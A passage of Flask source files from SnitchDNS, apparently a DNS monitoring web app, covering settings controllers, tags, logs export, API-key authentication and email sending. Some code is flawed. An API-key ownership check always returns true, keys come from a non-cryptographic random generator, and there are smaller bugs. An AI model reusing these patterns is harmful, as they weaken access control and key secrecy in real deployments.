20 |     settings = provider.settings()
21 | 
22 |     radius_enabled = True if int(request.form.get('radius_enabled', 0)) == 1 else False
23 |     radius_host = request.form['radius_host'].strip()
24 |     radius_port = request.form['radius_port'].strip()
25 |     radius_port = int(radius_port) if radius_port.isdigit else 0
26 |     radius_secret = request.form['radius_secret'].strip()
27 | 
28 |     if len(radius_host) == 0:
29 |         flash('RADIUS Host cannot be empty', 'error')
30 |         return redirect(url_for('config.radius'))
31 |     elif radius_port <= 0:
32 |         flash('Invalid RADIUS port', 'error')
33 |         return redirect(url_for('config.radius'))
34 | 
35 |     settings.save('radius_host', radius_host)
36 |     settings.save('radius_port', radius_port)
37 |     settings.save('radius_enabled', radius_enabled)
38 | 
39 |     # If the password is not '********' then save it. This is because we show that value instead of the actual password.
40 |     if len(radius_secret) > 0 and radius_secret != '********':
41 |         settings.save('radius_secret', radius_secret)
42 | 
43 |     flash('Settings saved', 'success')
44 |     return redirect(url_for('config.radius'))
45 | 
46 | 
47 | @bp.route('/radius/test', methods=['POST'])
48 | @login_required
49 | @admin_required
50 | def radius_test():
51 |     provider = Provider()
52 |     radius = provider.radius()
53 | 
54 |     if not radius.test_connection():
55 |         flash('RADIUS Response: {0}'.format(radius.error_message), 'error')
56 |     else:
57 |         flash('Connection established!', 'success')
58 |     return redirect(url_for('config.radius'))
59 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/slack.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/slack', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def slack():
12 |     return render_template('config/system/slack.html')
13 | 
14 | 
15 | @bp.route('/slack/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def slack_save():
19 |     provider = Provider()
20 |     settings = provider.settings()
21 | 
22 |     slack_enabled = True if int(request.form.get('slack_enabled', 0)) == 1 else False
23 | 
24 |     settings.save('slack_enabled', slack_enabled)
25 | 
26 |     flash('Settings saved', 'success')
27 |     return redirect(url_for('config.slack'))
28 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/smtp.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/smtp', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def smtp():
12 |     return render_template('config/system/smtp.html')
13 | 
14 | 
15 | @bp.route('/smtp/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def smtp_save():
19 |     provider = Provider()
20 |     settings = provider.settings()
21 | 
22 |     smtp_enabled = True if int(request.form.get('smtp_enabled', 0)) == 1 else False
23 |     smtp_host = request.form['smtp_host'].strip()
24 |     smtp_port = int(request.form['smtp_port'].strip())
25 |     smtp_tls = True if int(request.form.get('smtp_tls', 0)) == 1 else False
26 |     smtp_user = request.form['smtp_user'].strip()
27 |     smtp_pass = request.form['smtp_pass'].strip()
28 |     smtp_sender = request.form['smtp_sender'].strip()
29 | 
30 |     if len(smtp_host) == 0:
31 |         flash('Please enter SMTP Host', 'error')
32 |         return redirect(url_for('config.smtp'))
33 |     elif smtp_port <= 0 or smtp_port > 65535:
34 |         flash('Please enter SMTP Port', 'error')
35 |         return redirect(url_for('config.smtp'))
36 |     elif len(smtp_sender) == 0:
37 |         flash('Please enter SMTP Sender E-mail', 'error')
38 |         return redirect(url_for('config.smtp'))
39 | 
40 |     settings.save('smtp_enabled', smtp_enabled)
41 |     settings.save('smtp_host', smtp_host)
42 |     settings.save('smtp_port', smtp_port)
43 |     settings.save('smtp_tls', smtp_tls)
44 |     settings.save('smtp_user', smtp_user)
45 |     settings.save('smtp_sender', smtp_sender)
46 |     if smtp_pass != '********':
47 |         settings.save('smtp_pass', smtp_pass)
48 | 
49 |     flash('Settings saved', 'success')
50 |     return redirect(url_for('config.smtp'))
51 | 
52 | 
53 | @bp.route('/smtp/test', methods=['POST'])
54 | @login_required
55 | @admin_required
56 | def smtp_test():
57 |     emails = Provider().emails()
58 | 
59 |     recipient = request.form['test_email_recipient'].strip()
60 | 
61 |     result = emails.send(recipient, 'SnitchDNS - Test Message', 'Snitches get notifications!')
62 |     if result is not True:
63 |         flash('Could not send e-mail: ' + str(result), 'error')
64 |     else:
65 |         flash('E-mail sent', 'success')
66 | 
67 |     return redirect(url_for('config.smtp'))
68 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/system.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import login_required, current_user
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/system', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def system():
12 |     provider = Provider()
13 |     system = provider.system()
14 |     daemon = provider.daemon()
15 | 
16 |     system.run_updates()
17 | 
18 |     return render_template(
19 |         'config/system/system.html',
20 |         is_venv=system.is_virtual_environment(),
21 |         flask=system.can_run_flask(),
22 |         version=system.check_version(system.get_python_version(), '3.6'),
23 |         daemon_running=daemon.is_running(),
24 |         daemon_configured=daemon.is_configured()
25 |     )
26 | 
27 | 
28 | @bp.route('/system/daemon', methods=['POST'])
29 | @login_required
30 | def system_daemon():
31 |     provider = Provider()
32 |     daemon = provider.daemon()
33 |     settings = provider.settings()
34 | 
35 |     # First check to see is everyoneis allowed to start the daemon.
36 |     dns_daemon_start_everyone = settings.get('dns_daemon_start_everyone', False, type=bool)
37 |     if not dns_daemon_start_everyone:
38 |         # If it's not an admin, return to homepage.
39 |         if not current_user.admin:
40 |             flash('Access Denied', 'error')
41 |             return redirect(url_for('home.index'))
42 | 
43 |     action = request.form['action'].strip()
44 | 
45 |     if not daemon.is_configured():
46 |         flash('DNS Daemon is not configured', 'error')
47 |         return redirect(url_for('config.system'))
48 |     elif action not in ['start', 'stop', 'restart']:
49 |         flash('Invalid action', 'error')
50 |         return redirect(url_for('config.system'))
51 | 
52 |     if action == 'start':
53 |         if daemon.start():
54 |             flash('DNS Daemon Started', 'success')
55 |         else:
56 |             flash('Could not start DNS Daemon', 'error')
57 |     elif action == 'stop' and current_user.admin:
58 |         # Only admins can stop the service.
59 |         if daemon.stop():
60 |             flash('DNS Daemon Stopped', 'success')
61 |         else:
62 |             flash('Could not stop DNS Daemon', 'error')
63 |     elif action == 'restart' and current_user.admin:
64 |         # Only admins can restart the service.
65 |         if daemon.stop():
66 |             if daemon.start():
67 |                 flash('DNS Daemon Restarted', 'success')
68 |             else:
69 |                 flash('Could not start DNS Daemon', 'error')
70 |         else:
71 |             flash('Could not stop DNS Daemon', 'error')
72 | 
73 |     redirect_to = 'config.system' if current_user.admin else 'home.index'
74 |     return redirect(url_for(redirect_to))
75 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/teams.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/teams', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def teams():
12 |     return render_template('config/system/teams.html')
13 | 
14 | 
15 | @bp.route('/teams/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def teams_save():
19 |     provider = Provider()
20 |     settings = provider.settings()
21 | 
22 |     teams_enabled = True if int(request.form.get('teams_enabled', 0)) == 1 else False
23 | 
24 |     settings.save('teams_enabled', teams_enabled)
25 | 
26 |     flash('Settings saved', 'success')
27 |     return redirect(url_for('config.teams'))
28 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/webpush.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/webpush', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def webpush():
12 |     return render_template('config/system/webpush.html')
13 | 
14 | 
15 | @bp.route('/webpush/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def webpush_save():
19 |     provider = Provider()
20 |     settings = provider.settings()
21 | 
22 |     vapid_private = request.form['vapid_private'].strip()
23 |     vapid_public = request.form['vapid_public'].strip()
24 |     webpush_enabled = True if int(request.form.get('webpush_enabled', 0)) == 1 else False
25 | 
26 |     if len(vapid_private) == 0:
27 |         flash('Please enter a VAPID Private Key', 'error')
28 |         return redirect(url_for('config.webpush'))
29 |     elif vapid_private == '********' and len(settings.get('vapid_private', '')) == 0:
30 |         flash('Please enter a VAPID Private Key', 'error')
31 |         return redirect(url_for('config.webpush'))
32 |     elif len(vapid_public) == 0:
33 |         flash('Please enter a VAPID Public Key', 'error')
34 |         return redirect(url_for('config.webpush'))
35 | 
36 |     if vapid_private != '********':
37 |         settings.save('vapid_private', vapid_private)
38 |     settings.save('vapid_public', vapid_public)
39 |     settings.save('webpush_enabled', webpush_enabled)
40 | 
41 |     flash('Settings saved', 'success')
42 |     return redirect(url_for('config.webpush'))
43 | 


--------------------------------------------------------------------------------
/app/controllers/dns/__init__.py:
--------------------------------------------------------------------------------
1 | from flask import Blueprint
2 | 
3 | bp = Blueprint('dns', __name__, url_prefix='/dns')
4 | 
5 | from . import zones, records, notifications, restrictions, upload, tags, aliases
6 | 


--------------------------------------------------------------------------------
/app/controllers/dns/tags.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from flask_login import current_user, login_required
 3 | from flask import render_template, redirect, url_for, flash, request
 4 | from app.lib.base.provider import Provider
 5 | 
 6 | 
 7 | @bp.route('/tags', methods=['GET'])
 8 | @login_required
 9 | def tags_index():
10 |     provider = Provider()
11 |     tags = provider.tags()
12 | 
13 |     user_id = None if current_user.admin else current_user.id
14 | 
15 |     return render_template(
16 |         'dns/tags/index.html',
17 |         tags=tags.all(user_id=user_id, order_column='name', order_by='asc')
18 |     )
19 | 
20 | 
21 | @bp.route('/tags/<int:tag_id>/delete', methods=['POST'])
22 | @login_required
23 | def tags_delete(tag_id):
24 |     provider = Provider()
25 |     zones = provider.dns_zones()
26 |     tags = provider.tags()
27 | 
28 |     user_id = None if current_user.admin else current_user.id
29 |     if not tags.can_access(tag_id, user_id):
30 |         flash('You cannot access the selected tag', 'error')
31 |         return redirect(url_for('dns.tags_index'))
32 | 
33 |     zones.tag_delete(tag_id)
34 | 
35 |     if not tags.delete(tag_id, user_id=user_id):
36 |         flash('Could not delete tag', 'error')
37 |         return redirect(url_for('dns.tags_index'))
38 | 
39 |     flash('Tag deleted', 'success')
40 |     return redirect(url_for('dns.tags_index'))
41 | 
42 | 
43 | @bp.route('/tags/<int:tag_id>/edit', methods=['GET'])
44 | @login_required
45 | def tags_edit(tag_id):
46 |     provider = Provider()
47 |     tags = provider.tags()
48 | 
49 |     user_id = None if current_user.admin else current_user.id
50 |     if tag_id > 0:
51 |         if not tags.can_access(tag_id, user_id):
52 |             flash('You cannot access the selected tag', 'error')
53 |             return redirect(url_for('dns.tags_index'))
54 | 
55 |         tag = tags.get(tag_id, user_id=user_id)
56 |     else:
57 |         tag = None
58 | 
59 |     return render_template(
60 |         'dns/tags/edit.html',
61 |         tag_id=tag_id,
62 |         tag=tag
63 |     )
64 | 
65 | 
66 | @bp.route('/tags/<int:tag_id>/edit/save', methods=['POST'])
67 | @login_required
68 | def tags_edit_save(tag_id):
69 |     provider = Provider()
70 |     tags = provider.tags()
71 | 
72 |     name = request.form['name'].strip().lower()
73 |     if len(name) == 0:
74 |         flash('Please enter a tag name', 'error')
75 |         return redirect(url_for('dns.tags_index'))
76 | 
77 |     user_id = None if current_user.admin else current_user.id
78 |     if tag_id > 0:
79 |         if not tags.can_access(tag_id, user_id):
80 |             flash('You cannot access the selected tag', 'error')
81 |             return redirect(url_for('dns.tags_index'))
82 | 
83 |         tag = tags.update(tag_id, name)
84 |     else:
85 |         tag = tags.save(current_user.id, name)
86 | 
87 |     flash('Tag Created' if tag_id == 0 else 'Tag Updated', 'success')
88 |     return redirect(url_for('dns.tags_index'))
89 | 


--------------------------------------------------------------------------------
/app/controllers/home.py:
--------------------------------------------------------------------------------
 1 | from flask import Blueprint
 2 | from flask_login import current_user
 3 | from flask import render_template, redirect, url_for, flash, request
 4 | from app.lib.base.provider import Provider
 5 | 
 6 | bp = Blueprint('home', __name__, url_prefix='/')
 7 | 
 8 | 
 9 | @bp.route('/', methods=['GET'])
10 | def index():
11 |     # This function deliberately doesn't have a @login_required parameter because we want to run a check for a
12 |     # 'first-visit' type scenario, in order to create the administrator.
13 | 
14 |     provider = Provider()
15 |     zones = provider.dns_zones()
16 |     users = provider.users()
17 |     if users.count() == 0:
18 |         # Looks like we need to setup the administrator.
19 |         return redirect(url_for('install.index'))
20 | 
21 |     if not current_user.is_authenticated:
22 |         return redirect(url_for('auth.login'))
23 | 
24 |     search = provider.search()
25 |     results = search.search_from_request(request)
26 | 
27 |     aliases = provider.aliases()
28 | 
29 |     return render_template(
30 |         'home/index.html',
31 |         results=results['results'],
32 |         params=results['params'],
33 |         page_url='home.index',
34 |         zone_count=zones.count(user_id=current_user.id),
35 |         aliases=aliases.get_dict(None if current_user.admin else current_user.id)
36 |     )
37 | 


--------------------------------------------------------------------------------
/app/controllers/install.py:
--------------------------------------------------------------------------------
 1 | from flask import Blueprint
 2 | from flask import render_template, redirect, url_for, flash, request
 3 | from app.lib.base.provider import Provider
 4 | 
 5 | bp = Blueprint('install', __name__, url_prefix='/install')
 6 | 
 7 | 
 8 | @bp.route('/', methods=['GET'])
 9 | def index():
10 |     users = Provider().users()
11 |     if users.count() > 0:
12 |         flash('Application has already been configured', 'error')
13 |         return redirect(url_for('home.index'))
14 | 
15 |     return render_template(
16 |         'install/index.html',
17 |         password_complexity=users.password_complexity.get_requirement_description()
18 |     )
19 | 
20 | 
21 | @bp.route('/save', methods=['POST'])
22 | def save():
23 |     users = Provider().users()
24 |     if users.count() > 0:
25 |         flash('Application has already been configured', 'error')
26 |         return redirect(url_for('home.index'))
27 | 
28 |     username = request.form['username'].strip().lower()
29 |     password = request.form['password'].strip()
30 |     full_name = request.form['full_name'].strip()
31 |     email = request.form['email'].strip()
32 | 
33 |     if len(username) == 0 or len(password) == 0 or len(full_name) == 0 or len(email) == 0:
34 |         flash('Please fill in all the fields', 'error')
35 |         return redirect(url_for('install.index'))
36 | 
37 |     if not users.save(0, username, password, full_name, email, True, 'local', True):
38 |         flash('Could not create user: ' + users.last_error, 'error')
39 |         return redirect(url_for('install.index'))
40 | 
41 |     flash('Please login as the newly created administrator', 'success')
42 |     return redirect(url_for('home.index'))
43 | 


--------------------------------------------------------------------------------
/app/controllers/logs.py:
--------------------------------------------------------------------------------
 1 | from flask import Blueprint
 2 | from flask_login import current_user, login_required
 3 | from flask import render_template, redirect, url_for, flash, request, send_file
 4 | from app.lib.base.provider import Provider
 5 | import time
 6 | 
 7 | bp = Blueprint('logs', __name__, url_prefix='/logs')
 8 | 
 9 | 
10 | @bp.route('/', methods=['GET'])
11 | @login_required
12 | def index():
13 |     provider = Provider()
14 |     search = provider.search()
15 |     aliases = provider.aliases()
16 | 
17 |     results = search.search_from_request(request)
18 |     advanced = int(request.args.get('advanced', 0)) == 1
19 | 
20 |     return render_template(
21 |         'logs/index.html',
22 |         results=results['results'],
23 |         params=results['params'],
24 |         filters=results['filters'],
25 |         page_url='logs.index',
26 |         advanced=advanced,
27 |         aliases=aliases.get_dict(None if current_user.admin else current_user.id)
28 |     )
29 | 
30 | 
31 | @bp.route('/export/', methods=['POST'])
32 | @login_required
33 | def export():
34 |     provider = Provider()
35 |     search = provider.search()
36 |     logs = provider.dns_logs()
37 |     users = provider.users()
38 | 
39 |     # Prepare names and variables.
40 |     filename = str(int(time.time())) + '.csv'
41 |     download_filename = "snitch_logs_" + filename
42 |     save_results_as = users.get_user_data_path(current_user.id, filename=filename)
43 | 
44 |     # Perform the search.
45 |     results = search.search_from_request(request, paginate=False, method='get')
46 |     rows = results['results']
47 | 
48 |     # Export to disk.
49 |     if not logs.save_results_csv(rows, save_results_as, overwrite=True):
50 |         flash('Could not generate CSV file.', 'error')
51 |         return redirect(url_for('logs.index'))
52 | 
53 |     # And download.
54 |     return send_file(save_results_as, attachment_filename=download_filename, as_attachment=True)
55 | 


--------------------------------------------------------------------------------
/app/controllers/notifications.py:
--------------------------------------------------------------------------------
 1 | from flask import Blueprint
 2 | from flask_login import current_user, login_required
 3 | from flask import request
 4 | from app.lib.base.provider import Provider
 5 | import json
 6 | 
 7 | bp = Blueprint('notifications', __name__, url_prefix='/notifications')
 8 | 
 9 | 
10 | @bp.route('/webpush/register', methods=['POST'])
11 | @login_required
12 | def webpush_register():
13 |     provider = Provider()
14 |     notifications = provider.notifications()
15 | 
16 |     response = {'success': True, 'message': ''}
17 | 
18 |     user_endpoint = request.form['user_endpoint'].strip()
19 |     user_key = request.form['user_key'].strip()
20 |     user_authsecret = request.form['user_authsecret'].strip()
21 | 
22 |     if len(user_endpoint) == 0 or len(user_key) == 0 or len(user_authsecret) == 0:
23 |         response['sucess'] = False,
24 |         response['message'] = 'Data is empty'
25 |         return json.dumps(response)
26 | 
27 |     subscription = notifications.webpush.register(current_user.id, user_endpoint, user_key, user_authsecret)
28 |     if not subscription:
29 |         response['sucess'] = False,
30 |         response['message'] = 'Could not register your web push subscription'
31 | 
32 |     return json.dumps(response)
33 | 


--------------------------------------------------------------------------------
/app/lib/api/auth.py:
--------------------------------------------------------------------------------
 1 | from flask import request
 2 | from flask_login import login_user
 3 | from app.lib.base.provider import Provider
 4 | 
 5 | 
 6 | class ApiAuth:
 7 |     def auth(self, auto_login_user):
 8 |         apikey = request.headers['X-SnitchDNS-Auth'].strip() if 'X-SnitchDNS-Auth' in request.headers else ''
 9 |         if len(apikey) == 0:
10 |             return False
11 | 
12 |         user = self.__auth(apikey)
13 |         if not user:
14 |             return False
15 | 
16 |         if auto_login_user:
17 |             login_user(user)
18 | 
19 |         return True
20 | 
21 |     def __auth(self, apikey):
22 |         if len(apikey) == 0:
23 |             return False
24 | 
25 |         provider = Provider()
26 |         api = provider.api()
27 |         users = provider.users()
28 | 
29 |         key = api.find(apikey)
30 |         if not key:
31 |             return False
32 |         elif not key.enabled:
33 |             return False
34 | 
35 |         user = users.get_user(key.user_id)
36 |         if not user:
37 |             return False
38 |         elif not user.active:
39 |             return False
40 | 
41 |         return user
42 | 


--------------------------------------------------------------------------------
/app/lib/api/base.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | import json
 3 | from flask import request
 4 | from app.lib.api.definitions.response import Response
 5 | 
 6 | 
 7 | class ApiBase:
 8 |     def get_swagger_file(self, version):
 9 |         if not version in ['v1']:
10 |             return 'Invalid API Version'
11 | 
12 |         definition = os.path.join(os.path.dirname(__file__), 'swagger', version + '.yaml')
13 |         if not os.path.isfile(definition):
14 |             return 'API definition does not exist'
15 | 
16 |         with open(definition, 'r') as f:
17 |             contents = f.read()
18 | 
19 |         return contents
20 | 
21 |     def send_valid_response(self, object):
22 |         return self.toJSON(object), 200
23 | 
24 |     def send_success_response(self):
25 |         response = Response()
26 |         response.success = True
27 |         response.message = 'OK'
28 | 
29 |         return self.send_valid_response(response)
30 | 
31 |     def send_access_denied_response(self):
32 |         response = Response()
33 |         response.success = False
34 |         response.message = 'Access Denied'
35 | 
36 |         return self.toJSON(response), 401
37 | 
38 |     def send_error_response(self, code, message, details):
39 |         response = Response()
40 |         response.success = False
41 |         response.code = code
42 |         response.message = message
43 |         response.details = details
44 | 
45 |         return self.toJSON(response), 500
46 | 
47 |     def send_not_found_response(self):
48 |         response = Response()
49 |         response.success = True
50 | 
51 |         return self.toJSON(response), 404
52 | 
53 |     def toJSON(self, object):
54 |         return json.dumps(object, default=lambda o: o.__dict__, sort_keys=True, indent=4)
55 | 
56 |     def get_json(self, required_fields):
57 |         if not request.is_json:
58 |             return False
59 | 
60 |         data = request.get_json()
61 |         for field in required_fields:
62 |             if field not in data:
63 |                 return False
64 | 
65 |         return data
66 | 
67 |     def get_request_param(self, name, default=None, type=None):
68 |         return request.args.get(name, default=default, type=type)
69 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/notification_subscription.py:
--------------------------------------------------------------------------------
1 | class NotificationSubscription:
2 |     def __init__(self):
3 |         self.zone_id = 0
4 |         self.type_id = 0
5 |         self.type = ''
6 |         self.enabled = False
7 |         self.data = None
8 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/notification_type.py:
--------------------------------------------------------------------------------
1 | class NotificationType:
2 |     def __init__(self):
3 |         self.id = 0
4 |         self.name = ''
5 |         self.enabled = False
6 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/record.py:
--------------------------------------------------------------------------------
 1 | class Record:
 2 |     def __init__(self):
 3 |         self.id = 0
 4 |         self.zone_id = 0
 5 |         self.active = False
 6 |         self.cls = ''
 7 |         self.type = ''
 8 |         self.ttl = 0
 9 |         self.data = {}
10 |         self.is_conditional = False
11 |         self.conditional_count = 0
12 |         self.conditional_limit = 0
13 |         self.confitional_reset = False
14 |         self.conditional_data = {}
15 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/response.py:
--------------------------------------------------------------------------------
1 | class Response:
2 |     def __init__(self):
3 |         self.success = False
4 |         self.code = 0
5 |         self.message = ''
6 |         self.details = ''
7 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/restriction.py:
--------------------------------------------------------------------------------
1 | class Restriction:
2 |     def __init__(self):
3 |         self.id = 0
4 |         self.ip = ''
5 |         self.type = ''
6 |         self.enabled = False
7 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/search.py:
--------------------------------------------------------------------------------
1 | class Search:
2 |     def __init__(self):
3 |         self.page = 0
4 |         self.pages = 0
5 |         self.count = 0
6 |         self.results = []
7 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/search_result.py:
--------------------------------------------------------------------------------
 1 | class SearchResult:
 2 |     def __init__(self):
 3 |         self.id = 0
 4 |         self.domain = ''
 5 |         self.source_ip = ''
 6 |         self.type = ''
 7 |         self.cls = ''
 8 |         self.matched = False
 9 |         self.forwarded = False
10 |         self.blocked = False
11 |         self.date = ''
12 |         self.zone_id = 0
13 |         self.record_id = 0
14 | 


--------------------------------------------------------------------------------
/app/lib/api/definitions/zone.py:
--------------------------------------------------------------------------------
 1 | class Zone:
 2 |     def __init__(self):
 3 |         self.id = 0
 4 |         self.user_id = 0
 5 |         self.active = False
 6 |         self.catch_all = False
 7 |         self.forwarding = False
 8 |         self.regex = False
 9 |         self.master = False
10 |         self.domain = ''
11 |         self.created_at = ''
12 |         self.updated_at = ''
13 |         self.tags = []
14 | 


--------------------------------------------------------------------------------
/app/lib/api/instances/apikey.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class ApiKey(BaseInstance):
 5 |     @property
 6 |     def user_id(self):
 7 |         return self.item.user_id
 8 | 
 9 |     @user_id.setter
10 |     def user_id(self, value):
11 |         self.item.user_id = value
12 | 
13 |     @property
14 |     def name(self):
15 |         return self.item.name
16 | 
17 |     @name.setter
18 |     def name(self, value):
19 |         self.item.name = value
20 | 
21 |     @property
22 |     def apikey(self):
23 |         return self.item.apikey
24 | 
25 |     @apikey.setter
26 |     def apikey(self, value):
27 |         self.item.apikey = value
28 | 
29 |     @property
30 |     def enabled(self):
31 |         return self.item.enabled
32 | 
33 |     @enabled.setter
34 |     def enabled(self, value):
35 |         self.item.enabled = value
36 | 


--------------------------------------------------------------------------------
/app/lib/api/manager.py:
--------------------------------------------------------------------------------
 1 | import string
 2 | import random
 3 | from app.lib.models.api import ApiKeyModel
 4 | from app.lib.api.instances.apikey import ApiKey
 5 | 
 6 | 
 7 | class ApiManager:
 8 |     def __init__(self, users):
 9 |         self.users = users
10 | 
11 |     def create(self):
12 |         item = ApiKey(ApiKeyModel())
13 |         item.save()
14 |         return item
15 | 
16 |     def add(self, user_id, name):
17 |         apikey = self.create()
18 |         apikey.user_id = user_id
19 |         apikey.name = name
20 |         apikey.enabled = True
21 |         apikey.apikey = self.__generate_key()
22 |         apikey.save()
23 | 
24 |         return apikey
25 | 
26 |     def __generate_key(self, length=32):
27 |         return ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=length))
28 | 
29 |     def __get(self, id=None, user_id=None, name=None, apikey=None, enabled=None):
30 |         query = ApiKeyModel.query
31 | 
32 |         if id is not None:
33 |             query = query.filter(ApiKeyModel.id == id)
34 | 
35 |         if user_id is not None:
36 |             query = query.filter(ApiKeyModel.user_id == user_id)
37 | 
38 |         if name is not None:
39 |             query = query.filter(ApiKeyModel.name == name)
40 | 
41 |         if apikey is not None:
42 |             query = query.filter(ApiKeyModel.apikey == apikey)
43 | 
44 |         if enabled is not None:
45 |             query = query.filter(ApiKeyModel.enabled == enabled)
46 | 
47 |         return query.all()
48 | 
49 |     def all(self, user_id=None):
50 |         results = self.__get(user_id=user_id)
51 |         keys = []
52 |         for result in results:
53 |             keys.append(self.__load(result))
54 | 
55 |         return keys
56 | 
57 |     def can_access(self, key_id, user_id):
58 |         if self.users.is_admin(user_id):
59 |             return True
60 |         return self.__get(id=key_id, user_id=user_id) is not None
61 | 
62 |     def __load(self, item):
63 |         return ApiKey(item)
64 | 
65 |     def get(self, key_id):
66 |         results = self.__get(id=key_id)
67 |         if len(results) == 0:
68 |             return False
69 | 
70 |         return self.__load(results[0])
71 | 
72 |     def delete(self, key_id):
73 |         key = self.get(key_id)
74 |         if not key:
75 |             return False
76 | 
77 |         key.delete()
78 |         return True
79 | 
80 |     def find(self, apikey):
81 |         results = self.__get(apikey=apikey)
82 |         if len(results) == 0:
83 |             return False
84 | 
85 |         return self.__load(results[0])
86 | 


--------------------------------------------------------------------------------
/app/lib/api/search.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.provider import Provider
 2 | from app.lib.api.base import ApiBase
 3 | from app.lib.api.definitions.search import Search
 4 | from app.lib.api.definitions.search_result import SearchResult
 5 | 
 6 | 
 7 | class ApiSearch(ApiBase):
 8 |     def search(self):
 9 |         data = {}
10 |         filters = ['domain', 'source_ip', 'type', 'class', 'matched', 'forwarded', 'blocked', 'user_id', 'tags',
11 |                    'alias', 'date_from', 'time_from', 'date_to', 'time_to', 'page', 'per_page']
12 |         for filter in filters:
13 |             value = self.get_request_param(filter)
14 |             if value:
15 |                 data[filter] = value
16 | 
17 |         results = Provider().search().search_from_request(data, method='dict')
18 | 
19 |         search = Search()
20 |         search.page = results['results'].page
21 |         search.pages = results['results'].pages
22 |         search.count = results['results'].total
23 | 
24 |         for result in results['results'].items:
25 |             search_result = SearchResult()
26 |             search_result.id = result.id
27 |             search_result.domain = result.domain
28 |             search_result.source_ip = result.source_ip
29 |             search_result.type = result.type
30 |             search_result.matched = result.found
31 |             search_result.forwarded = result.forwarded
32 |             search_result.blocked = result.blocked
33 |             search_result.date = result.created_at.strftime('%Y-%m-%d %H:%M:%S')
34 |             search_result.zone_id = result.dns_zone_id
35 |             search_result.record_id = result.dns_record_id
36 | 
37 |             search.results.append(search_result)
38 | 
39 |         return self.send_valid_response(search)
40 | 


--------------------------------------------------------------------------------
/app/lib/base/decorators.py:
--------------------------------------------------------------------------------
 1 | from functools import wraps
 2 | from flask_login import current_user
 3 | from flask import redirect, url_for, flash
 4 | from app.lib.base.provider import Provider
 5 | 
 6 | 
 7 | def admin_required(f):
 8 |     @wraps(f)
 9 |     def wrapped_view(**kwargs):
10 |         if not current_user.admin:
11 |             flash('Access Denied', 'error')
12 |             return redirect(url_for('home.index'))
13 | 
14 |         return f(**kwargs)
15 |     return wrapped_view
16 | 
17 | 
18 | def must_have_base_domain(f):
19 |     @wraps(f)
20 |     def wrapped_view(**kwargs):
21 |         if not current_user.admin:
22 |             if len(Provider().dns_zones().base_domain) == 0:
23 |                 flash('The base domain has not been configured by your administrator.', 'error')
24 |                 return redirect(url_for('home.index'))
25 |         return f(**kwargs)
26 |     return wrapped_view
27 | 
28 | 
29 | def api_auth(f):
30 |     @wraps(f)
31 |     def wrapped_view(**kwargs):
32 |         from app.lib.api.auth import ApiAuth
33 |         from app.lib.api.base import ApiBase
34 |         if not ApiAuth().auth(True):
35 |             return ApiBase().send_access_denied_response()
36 |         return f(**kwargs)
37 |     return wrapped_view
38 | 


--------------------------------------------------------------------------------
/app/lib/base/email.py:
--------------------------------------------------------------------------------
 1 | from flask import current_app
 2 | from flask_mail import Mail, Message
 3 | 
 4 | 
 5 | class EmailManager:
 6 |     def __init__(self, hostname, port, username, password, sender, tls):
 7 |         current_app.config['MAIL_SERVER'] = hostname
 8 |         current_app.config['MAIL_PORT'] = port
 9 |         current_app.config['MAIL_USERNAME'] = username
10 |         current_app.config['MAIL_PASSWORD'] = password
11 |         current_app.config['MAIL_DEFAULT_SENDER'] = sender
12 |         current_app.config['MAIL_USE_TLS'] = tls
13 | 
14 |         self.__hostname = hostname
15 |         self.__port = port
16 |         self.__tls = tls
17 |         self.__username = username
18 |         self.__password = password
19 | 
20 |         self.__mail = Mail(current_app)
21 | 
22 |     def send(self, recipients, subject, body):
23 |         if isinstance(recipients, str):
24 |             recipients = [recipients]
25 | 
26 |         message = Message()
27 |         message.subject = subject
28 |         message.body = body
29 |         message.recipients = recipients
30 | 
31 |         return self.send_message(message)
32 | 
33 |     def send_message(self, message):
34 |         try:
35 |             self.__mail.send(message)
